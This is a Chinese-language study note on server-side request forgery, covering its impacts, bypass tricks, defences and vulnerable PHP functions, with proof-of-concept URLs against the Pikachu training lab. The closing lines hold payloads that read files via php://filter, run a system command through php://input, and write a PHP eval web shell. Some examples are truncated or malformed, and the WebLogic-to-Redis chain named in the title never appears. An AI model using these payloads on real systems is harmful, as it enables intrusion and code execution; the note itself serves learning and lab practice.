前沿:介绍一个开源的渗透测试平台vulhub
笔记:webLogic 从SSRF到redis未授权访问到getshell(不需要用户名和密码访问redis数据库,读写文件)
SSRF介绍:
SSRF(Server-Side Request Forgery),服务器端请求伪造,利用漏洞伪造服务器端发起请求,从而突破客户端访问不到的数据。
通常是这样的:客户端请求一个正常的url资源,服务端新建一个文本文件把资源内容写入到该文本,然后保存,最后读取再输出。
SSRF漏洞危害:
- 访问服务端敏感文件,造成数据泄露(例如:?url=file://c:\windows\system32\drivers\etc\hosts)
- 端口扫描(例:?url=dict:127.0.0.1:3306)
- 应用指纹识别(例如:?url=http://localhost/phpmyadmin/readme)
- 攻击内网WEB,获取shell(例如:?url=)
SSRF漏洞形成原因和常见代码:
因为现在很多web应用都提供了从其他服务器获取资源的功能,而服务端没有对用户输入的url过滤,造成可以对本地一些敏感文件进行非法访问。
SSRF漏洞利用:
绕过方法:
- http://a.com@10.10.10.10真正访问的是@后面的内容
- IP进制转换
SSRF漏洞防御:
- 限制协议如:gopher、dict、file协议,仅允许HTTP\HTTPS
- 限制IP
- 限制端口
- 过滤返回信息:
- 统一错误信息:避免用户可以根据错误信息判断远端状态
pikaqiu漏洞示例
PHP中下面函数的使用不当会导致SSRF:
file_get_contents()
fsockopen()
curl_exec()
php curl介绍,该命令用于连接不同服务器进行通讯,支持:gopher、dict、https、telnet等协议。
poc:
php file_get_content() 把整个文件读入字符串,它支持php封装协议如:php://filter/read和php://input分别用于读取和写入php文件
POC:
http://127.0.0.1/pikachu/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=../../../phpinfo.php
http://127.0.0.1/pikachu/vul/ssrf/ssrf_fgc.php?file=php://input
<?php system('ipconfig');?>或者
<?fputs(fopen("shell.php","w"), "<?php@eval($_POST['zt']);?>" )>